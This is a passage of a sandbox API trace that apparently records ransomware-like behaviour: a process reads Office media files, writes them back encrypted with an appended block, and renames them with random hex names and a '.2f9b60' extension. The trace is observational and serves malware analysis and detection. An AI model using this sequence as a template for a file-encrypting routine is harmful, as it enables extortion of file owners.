Seed=0x39def610) returned 0x52c73b14 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x12c2321 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x4d6db207 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x25fd67e1 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x761021c [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x12e206d1 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x23b0d0ad [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x6bedcc89 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x5bfc8170 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x10baa7d7 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x29e2634a [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x52e032a3 [0156.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b00 [0156.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6320 [0156.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b30 [0156.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6320) returned 1 [0156.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ad0) returned 1 [0156.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce190e0 [0156.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6320 [0156.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aadaa0 [0156.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab16b0 [0156.955] ReadFile (in: hFile=0x10e4, lpBuffer=0x42aadaa0, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x39def610, lpOverlapped=0x0 | out: lpBuffer=0x42aadaa0*, lpNumberOfBytesRead=0x39def610*=0x109, lpOverlapped=0x0) returned 1 [0156.955] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.955] WriteFile (in: hFile=0x10e4, lpBuffer=0x42ab16b0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x39def614, lpOverlapped=0x0 | out: lpBuffer=0x42ab16b0*, lpNumberOfBytesWritten=0x39def614*=0x109, lpOverlapped=0x0) returned 1 [0161.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4190 [0161.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a41c0 [0161.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a41c0) returned 1 [0161.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab16b0) returned 1 [0161.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aadaa0) returned 1 [0161.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6320) returned 1 [0161.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce190e0) returned 1 [0161.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a41c0 [0161.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce190e0 [0161.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6320 [0161.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a41f0 [0161.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a41f0) returned 1 [0161.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a41f0 [0161.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4220 [0161.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4250 [0161.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4250) returned 1 [0161.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6320) returned 1 [0161.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce190e0) returned 1 [0161.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa410 [0161.427] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.427] WriteFile (in: hFile=0x10e4, lpBuffer=0x423aa410*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39def730, lpOverlapped=0x0 | out: lpBuffer=0x423aa410*, lpNumberOfBytesWritten=0x39def730*=0x10a, lpOverlapped=0x0) returned 1 [0163.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0163.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0163.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0163.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d40 [0163.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d40) returned 1 [0163.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.234] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.234] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="ff") returned 2 [0163.234] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="43") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="56") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="80") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="08") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="21") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="60") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="41") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="3c") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="07") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="26") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="f1") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="33") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="14") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="c7") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="82") returned 2 [0163.235] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.235] RtlInitAnsiString (in: DestinationString=0x39def7a8, SourceString="f7ff4356805f082160dc41fd3c070c26f1b833140bc782c0" | out: DestinationString="f7ff4356805f082160dc41fd3c070c26f1b833140bc782c0") [0163.235] RtlAnsiStringToUnicodeString (in: DestinationString=0x39def778, SourceString="f7ff4356805f082160dc41fd3c070c26f1b833140bc782c0", AllocateDestinationString=1 | out: DestinationString="f7ff4356805f082160dc41fd3c070c26f1b833140bc782c0") returned 0x0 [0163.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b786270 [0163.236] RtlFreeAnsiString (AnsiString="f") [0163.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0163.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa410) returned 1 [0163.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a41f0) returned 1 [0163.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4220) returned 1 [0163.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a41c0) returned 1 [0163.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4190) returned 1 [0163.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a40) returned 1 [0163.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b00) returned 1 [0163.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b30) returned 1 [0163.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050b950 [0163.239] wcscat (in: _Dest=0x2050b950, _Source="f7ff4356805f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f" [0163.239] wcscat (in: _Dest=0x2050b950, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f.2f9b60" [0163.239] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f.2f9b60", NtPathName=0x39def750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\f7ff4356805f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce227a0 [0243.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce227a0) returned 1 [0243.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c26720) returned 1 [0243.650] NtQueryInformationFile (in: FileHandle=0x10e4, IoStatusBlock=0x39def7b8, FileInformation=0x39def7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39def7b8, FileInformation=0x39def7c8) returned 0x0 [0243.650] NtSetInformationFile (FileHandle=0x10e4, IoStatusBlock=0x39def7b8, FileInformation=0x39def7c8, Length=0x28, FileInformationClass=0x4) Thread: id = 2643 os_tid = 0x21b8 [0156.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif")) returned 0x20 [0156.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF", dwFileAttributes=0x20) returned 1 [0156.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10d4 [0156.959] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x39f6fb00 | out: lpFileSize=0x39f6fb00*=253) returned 1 [0156.959] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0xf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.959] ReadFile (in: hFile=0x10d4, lpBuffer=0x39f6fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39f6fac8, lpOverlapped=0x0 | out: lpBuffer=0x39f6fa80*, lpNumberOfBytesRead=0x39f6fac8*=0x4, lpOverlapped=0x0) returned 1 [0156.960] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ad0 [0156.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b60 [0156.961] NtQuerySystemTime (in: CurrentTime=0x39f6f9c0 | out: CurrentTime=0x39f6f9c0*=132462177620914000) returned 0x0 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x8afd9c6 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x7609f097 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x69c9cac1 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x50029be [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x36d04d34 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x5cadbf48 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x63d4fb58 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x3c14c5ec [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x7bdc79c2 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x285ae0e [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x74e6736b [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0xa9a88a9 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x25272c21 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x6224fd10 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x55f33276 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x14b77d20 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x4949d670 [0156.961] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x5299c2c7 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x37a1117c [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x4117d15c [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x51b06b32 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x474714c8 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x3265139c [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x2d72c74a [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x7bc88ca6 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0xf252202 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x7d799f94 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x3d2adb0b [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x255a9214 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x70b72fb1 [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0x47cbe22d [0156.962] RtlRandomEx (in: Seed=0x39f6f9b0 | out: Seed=0x39f6f9b0) returned 0xe4c13f5 [0156.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0156.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0156.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0156.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0156.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b60) returned 1 [0156.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19130 [0156.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0156.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab52c0 [0156.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ab8ed0 [0156.978] ReadFile (in: hFile=0x10d4, lpBuffer=0x42ab52c0, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x39f6f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42ab52c0*, lpNumberOfBytesRead=0x39f6f9b0*=0xfd, lpOverlapped=0x0) returned 1 [0156.978] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.978] WriteFile (in: hFile=0x10d4, lpBuffer=0x42ab8ed0*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x39f6f9b4, lpOverlapped=0x0 | out: lpBuffer=0x42ab8ed0*, lpNumberOfBytesWritten=0x39f6f9b4*=0xfd, lpOverlapped=0x0) returned 1 [0161.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4250 [0161.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4280 [0161.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4280) returned 1 [0161.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab8ed0) returned 1 [0161.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab52c0) returned 1 [0161.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0161.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19130) returned 1 [0161.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4280 [0161.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19130 [0161.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec63a0 [0161.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a42b0 [0161.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a42b0) returned 1 [0161.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a42b0 [0161.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a42e0 [0161.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4310 [0161.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4310) returned 1 [0161.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec63a0) returned 1 [0161.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19130) returned 1 [0161.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa530 [0161.436] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.436] WriteFile (in: hFile=0x10d4, lpBuffer=0x423aa530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x39f6fad0, lpOverlapped=0x0 | out: lpBuffer=0x423aa530*, lpNumberOfBytesWritten=0x39f6fad0*=0x10a, lpOverlapped=0x0) returned 1 [0163.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c50 [0163.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c50) returned 1 [0163.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c50 [0163.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c20 [0163.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c20) returned 1 [0163.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.217] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="24") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="a4") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="77") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="5b") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="19") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="47") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="65") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="7e") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="dd") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="3c") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="b0") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="78") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="61") returned 2 [0163.217] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.218] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="c2") returned 2 [0163.218] RtlInitAnsiString (in: DestinationString=0x39f6fb48, SourceString="24a48d9eed770a4e5b1947657ea8b3c5dd3cb0e77861c3c2" | out: DestinationString="24a48d9eed770a4e5b1947657ea8b3c5dd3cb0e77861c3c2") [0163.218] RtlAnsiStringToUnicodeString (in: DestinationString=0x39f6fb18, SourceString="24a48d9eed770a4e5b1947657ea8b3c5dd3cb0e77861c3c2", AllocateDestinationString=1 | out: DestinationString="24a48d9eed770a4e5b1947657ea8b3c5dd3cb0e77861c3c2") returned 0x0 [0163.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7860b0 [0163.218] RtlFreeAnsiString (AnsiString="2") [0163.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c50) returned 1 [0163.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa530) returned 1 [0163.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a42b0) returned 1 [0163.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a42e0) returned 1 [0163.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4280) returned 1 [0163.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4250) returned 1 [0163.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ad0) returned 1 [0163.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0163.221] RtlFreeHeap (HeapHandle=0xa0000, 